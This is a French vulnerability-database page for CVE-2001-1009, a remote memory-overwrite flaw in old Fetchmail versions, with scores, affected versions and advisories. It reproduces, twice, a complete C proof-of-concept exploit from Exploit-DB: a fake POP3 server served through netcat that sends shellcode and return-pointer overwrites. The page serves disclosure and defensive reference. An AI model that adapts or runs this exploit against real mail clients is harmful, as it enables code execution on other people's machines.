CVE-2001-1009 : Détail

CVE-2001-1009

A01-Broken Access Control
13.91%V4
Network
2002-02-02
04h00 +00:00
2002-08-16
22h00 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Fetchmail (aka fetchmail-ssl) before 5.8.17 allows a remote malicious (1) IMAP server or (2) POP/POP3 server to overwrite arbitrary memory and possibly gain privileges via a negative index number as part of a response to a LIST request.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 21066

Date de publication : 2001-08-08 22h00 +00:00
Auteur : Sanfillipo antirez
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/3166/info Fetchmail is a unix utility for downloading email from mail servers via POP3 and IMAP. Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory. It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's IMAP server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host. /* fetchmail proof of concepts i386 exploit * Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org> * Code under the GPL license. * * Usage: ./a.out | nc -l -p 3333 * fetchmail localhost -P 3333 -p POP3 * * This is a bad exploit with offset carefully selected * to work in my own system. It will probably not work in * your system if you don't modify RETR_OFFSET and SHELL_PTR, * but you may try to set the SHELL_PTR to 0xAAAAAAAA * and use gdb to obtain the proof that your fetchmail is vulnerable * without to exploit it. * Or just read the code in pop3.c. * * To improve the exploit portability you may put the shellcode inside * one of the static char buffers, grep 'static char' *.c. * * Tested on fetchmail 5.8.15 running on Linux 2.4.6 * * On success you should see the ls output. */ #include <stdio.h> #define MESSAGES 10 #define RETR_OFFSET -20 #define SHELL_PTR 0xbfffba94 int main(void) { int ish = SHELL_PTR; int ret_offset = -10; char shellcode[] = /* take the shellcode multiple of 4 in size */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0"; int *sc = (int*) shellcode; int noop = 0x90909090; int i; /* +OK for user and password, than report the number of messages */ printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES); /* Overwrite the RET pointer */ for (i = ret_offset-20; i < ret_offset+20; i++) printf("%d %d\r\n", i, ish); /* Put some NOP */ for (i = 1; i < 21; i++) printf("%d %d\r\n", i, noop); /* Put the shell code in the buffer */ for (i = 21; i < 21+(sizeof(shellcode)/4); i++) printf("%d %d\r\n", i, *sc++); printf(".\r\n"); /* POP data term */ return 0; }
Exploit Database EDB-ID : 21064

Date de publication : 2001-08-08 22h00 +00:00
Auteur : Salvatore Sanfilippo -antirez-
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/3164/info Fetchmail is a unix utility for downloading email from mail servers via POP3. Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory. It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's POP3 server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host. /* fetchmail proof of concepts i386 exploit * Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org> * Code under the GPL license. * * Usage: ./a.out | nc -l -p 3333 * fetchmail localhost -P 3333 -p POP3 * * This is a bad exploit with offset carefully selected * to work in my own system. It will probably not work in * your system if you don't modify RETR_OFFSET and SHELL_PTR, * but you may try to set the SHELL_PTR to 0xAAAAAAAA * and use gdb to obtain the proof that your fetchmail is vulnerable * without to exploit it. * Or just read the code in pop3.c. * * To improve the exploit portability you may put the shellcode inside * one of the static char buffers, grep 'static char' *.c. * * Tested on fetchmail 5.8.15 running on Linux 2.4.6 * * On success you should see the ls output. */ #include <stdio.h> #define MESSAGES 10 #define RETR_OFFSET -20 #define SHELL_PTR 0xbfffba94 int main(void) { int ish = SHELL_PTR; int ret_offset = -10; char shellcode[] = /* take the shellcode multiple of 4 in size */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0"; int *sc = (int*) shellcode; int noop = 0x90909090; int i; /* +OK for user and password, than report the number of messages */ printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES); /* Overwrite the RET pointer */ for (i = ret_offset-20; i < ret_offset+20; i++) printf("%d %d\r\n", i, ish); /* Put some NOP */ for (i = 1; i < 21; i++) printf("%d %d\r\n", i, noop); /* Put the shell code in the buffer */ for (i = 21; i < 21+(sizeof(shellcode)/4); i++) printf("%d %d\r\n", i, *sc++); printf(".\r\n"); /* POP data term */ return 0; }

Products Mentioned

Configuraton 0

Fetchmail>>Fetchmail >> Version To (including) 5.8.14

Fetchmail>>Fetchmail >> Version 4.5.1

Fetchmail>>Fetchmail >> Version 4.5.2

Fetchmail>>Fetchmail >> Version 4.5.3

Fetchmail>>Fetchmail >> Version 4.5.4

Fetchmail>>Fetchmail >> Version 4.5.5

Fetchmail>>Fetchmail >> Version 4.5.6

Fetchmail>>Fetchmail >> Version 4.5.7

Fetchmail>>Fetchmail >> Version 4.5.8

Fetchmail>>Fetchmail >> Version 4.6.0

Fetchmail>>Fetchmail >> Version 4.6.1

Fetchmail>>Fetchmail >> Version 4.6.2

Fetchmail>>Fetchmail >> Version 4.6.3

Fetchmail>>Fetchmail >> Version 4.6.4

Fetchmail>>Fetchmail >> Version 4.6.5

Fetchmail>>Fetchmail >> Version 4.6.6

Fetchmail>>Fetchmail >> Version 4.6.7

Fetchmail>>Fetchmail >> Version 4.6.8

Fetchmail>>Fetchmail >> Version 4.6.9

Fetchmail>>Fetchmail >> Version 4.7.0

Fetchmail>>Fetchmail >> Version 4.7.1

Fetchmail>>Fetchmail >> Version 4.7.2

Fetchmail>>Fetchmail >> Version 4.7.3

Fetchmail>>Fetchmail >> Version 4.7.4

Fetchmail>>Fetchmail >> Version 4.7.5

Fetchmail>>Fetchmail >> Version 4.7.6

Fetchmail>>Fetchmail >> Version 4.7.7

Fetchmail>>Fetchmail >> Version 5.0.0

Fetchmail>>Fetchmail >> Version 5.0.1

Fetchmail>>Fetchmail >> Version 5.0.2

Fetchmail>>Fetchmail >> Version 5.0.3

Fetchmail>>Fetchmail >> Version 5.0.4

Fetchmail>>Fetchmail >> Version 5.0.5

Fetchmail>>Fetchmail >> Version 5.0.6

Fetchmail>>Fetchmail >> Version 5.0.7

Fetchmail>>Fetchmail >> Version 5.0.8

Fetchmail>>Fetchmail >> Version 5.1.0

Fetchmail>>Fetchmail >> Version 5.1.4

Fetchmail>>Fetchmail >> Version 5.2.0

Fetchmail>>Fetchmail >> Version 5.2.1

Fetchmail>>Fetchmail >> Version 5.2.3

Fetchmail>>Fetchmail >> Version 5.2.4

Fetchmail>>Fetchmail >> Version 5.2.7

Fetchmail>>Fetchmail >> Version 5.2.8

Fetchmail>>Fetchmail >> Version 5.3.0

Fetchmail>>Fetchmail >> Version 5.3.1

Fetchmail>>Fetchmail >> Version 5.3.3

Fetchmail>>Fetchmail >> Version 5.3.8

Fetchmail>>Fetchmail >> Version 5.4.0

Fetchmail>>Fetchmail >> Version 5.4.3

Fetchmail>>Fetchmail >> Version 5.4.4

Fetchmail>>Fetchmail >> Version 5.4.5

Fetchmail>>Fetchmail >> Version 5.5.0

Fetchmail>>Fetchmail >> Version 5.5.2

Fetchmail>>Fetchmail >> Version 5.5.3

Fetchmail>>Fetchmail >> Version 5.5.5

Fetchmail>>Fetchmail >> Version 5.5.6

Fetchmail>>Fetchmail >> Version 5.6.0

Fetchmail>>Fetchmail >> Version 5.7.0

Fetchmail>>Fetchmail >> Version 5.7.2

Fetchmail>>Fetchmail >> Version 5.7.4

Fetchmail>>Fetchmail >> Version 5.8

Fetchmail>>Fetchmail >> Version 5.8.1

Fetchmail>>Fetchmail >> Version 5.8.2

Fetchmail>>Fetchmail >> Version 5.8.3

Fetchmail>>Fetchmail >> Version 5.8.4

Fetchmail>>Fetchmail >> Version 5.8.5

Fetchmail>>Fetchmail >> Version 5.8.6

Fetchmail>>Fetchmail >> Version 5.8.11

Fetchmail>>Fetchmail >> Version 5.8.13

Fetchmail>>Fetchmail >> Version 5.9.0

Références

http://www.debian.org/security/2001/dsa-071
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2001-103.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/3166
Tags : vdb-entry, x_refsource_BID
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000419
Tags : vendor-advisory, x_refsource_CONECTIVA
http://www.securityfocus.com/bid/3164
Tags : vdb-entry, x_refsource_BID